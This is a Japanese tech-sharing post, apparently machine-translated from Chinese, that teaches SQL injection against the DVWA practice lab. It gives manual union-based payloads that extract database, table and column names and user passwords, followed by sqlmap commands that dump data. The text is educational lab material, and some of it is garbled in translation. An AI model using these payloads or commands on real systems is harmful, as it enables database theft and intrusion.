技術共有

[テスト開発] -- セキュリティ侵入テスト

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. セキュリティの侵入

1.1 分類

  • ウェブデータベースのセキュリティ
  • Web アプリケーション サーバーのセキュリティ (ファイル アップロードの脆弱性、ファイル インクルードの脆弱性)
  • Web クライアントのセキュリティ (XSS クロスサイト攻撃)

2.SQLインジェクション

2.1 SQL インジェクションの概要

  • SQL インジェクションはセキュリティ問題のトップリストにあります
  • SQL インジェクション攻撃は、入力パラメータがフィルタリングされず、分析のために SQL ステートメントに直接接続されることです。
  • SQL インジェクションは、SQL コードを入力パラメータに追加し、それを解析および実行のためにサーバーに渡す攻撃手法です。

2.2 SQL インジェクションの原理

  • 攻撃者がページ上に悪意のある文字を送信する
  • サーバーが送信されたパラメータをフィルタリングしないか、フィルタリングが不十分です。
  • 攻撃者はスプライシング SQL ステートメントを使用してデータベースから機密情報を取得します

2.3 SQL インジェクションの危険性

  • データベース漏洩
  • ユーザーデータが違法に売買された
  • Web アプリケーションのセキュリティを侵害する

2.4 SQLインジェクションの実装方法

  • マニュアル
    • 検索: 注入点
    • 入力: SQL 共通インジェクション組み合わせインジェクション構文
  • 自動(ツール)
    • ツール: 注入ポイントのスキャン
    • 入力: 構文のさまざまな組み合わせを自動的に試します

3.環境設定

3.1 vmware 仮想マシン

3.1.1 機能

  • 仮想マシン ソフトウェア。ソフトウェアを使用して、複数の仮想オペレーティング システム (Linux、Windows) を物理マシンにインストールできます。
  • ターゲットのドローンと侵入者は VMware ソフトウェアで実行されます
    VMware のダウンロード チュートリアル

3.2 対象ドローン(プロジェクト環境の使い方を学習)

効果

3.3 ペネトレーションマシン (SQL インジェクション環境への攻撃の学習)

効果:

  • Kali には、侵入テストやセキュリティ調査などのさまざまな情報セキュリティ タスクに使用できるツールが何百も含まれています。

4.手動注入

4.1 環境の準備

説明: ドローン Web アプリケーションを使用して手動注射を練習します。
ステップ:

  • ターゲットドローンOWASPを開始
    ここに画像の説明を挿入します

  • ブラウザ経由でドローンにアクセス

  • OWASP-dvwa プロジェクトにアクセスしてください
    ここに画像の説明を挿入します

  • ログイン
    ここに画像の説明を挿入します

  • SQLインジェクションアプリケーションの選択
    ここに画像の説明を挿入します

4.2 注入ポイントを見つける

注: 主に一重引用符とエスケープ文字を使用します。主に一重引用符を使用します。
原理:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

ここに画像の説明を挿入します

ここに画像の説明を挿入します

4.3 論理和

ここに画像の説明を挿入します

4.4 列の数を推測する

  1. 労働組合によって
' union select 1,2 #
  • 1

ここに画像の説明を挿入します
2. 論理和による

'or 1=1#
  • 1

ここに画像の説明を挿入します

4.5 データベース、テーブル、列の取得

データベース名の取得

' union select 1,database()#
  • 1

ここに画像の説明を挿入します
テーブルの取得

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

ここに画像の説明を挿入します

列を取得

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

ここに画像の説明を挿入します

4.6 データの取得

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

ここに画像の説明を挿入します

4.7 concat関数

機能: 複数の文字列を 1 つの文字列に結合します。
構文: concat(str1,str2,…)
例:

  • users テーブルから user_id、user、password を取得し、2 列に表示します。
select user_id,concat (user,password) from dvwa,users;
  • 1

ここに画像の説明を挿入します

  • ユーザーとパスワードを結合する問題を解決する
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

ここに画像の説明を挿入します

  • 複数のフィールドを取得する
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

ここに画像の説明を挿入します

5.自動注入

5.1 自動注入の概要

注: 自動インジェクションとは、手動作業ではなくツールを使用して SQL インジェクション操作を完了することを指します。
ツール: SQLマップ

5.2 環境を自動的に挿入する

  • ドローンを起動する
  • 浸透マシンを起動します

5.3 SQLマップ

ツール: SQLマップ

  • オープンソースの侵入テストツール
  • SQL インジェクションの脆弱性を自動的に検出して悪用し、データベース サーバーを乗っ取ります。
    建てる:

5.3.1 sqlmapの基本的な使い方

パラメータ

  • -u: スキャン対象の URL
  • –batch: プロンプト情報を自動的に処理します
  • –cookie: 追加の cookie パラメータ

ステップ

  • スキャン注入ポイント
  • データベース名の取得
  • テーブル名の取得
  • フィールド名の取得
  • データを取得する

ログインする必要があるので、まずログインしたページの Cookie を取得します。
ここに画像の説明を挿入します
次に、注入ポイントのスキャンを開始します
ここに画像の説明を挿入します
注入成功
ここに画像の説明を挿入します

5.3.2 sqlmapはライブラリ名を取得します

– current-db: 現在の Web で使用されているデータベース名をクエリします。
-D: 指定したデータベースを適用します
ここに画像の説明を挿入します
操作結果:
ここに画像の説明を挿入します

5.3.3 sqlmapはテーブルを取得します

– current-db: 指定されたライブラリの下にあるすべてのテーブル名をクエリします (最初に -D を使用してライブラリ名を指定する必要があります)
-T: テーブルを指定
ここに画像の説明を挿入します

操作結果:
ここに画像の説明を挿入します

5.3.4 sqlmap による列の取得

– columns: 指定されたテーブルの下のすべてのフィールドをクエリします (最初にテーブル名を指定するには -T を使用する必要があります)
-C: フィールド名を指定します

ここに画像の説明を挿入します
操作結果:
ここに画像の説明を挿入します

5.3.5 sqlmapによるデータの取得

–dump: データをダウンロードします

ここに画像の説明を挿入します
操作結果:
ここに画像の説明を挿入します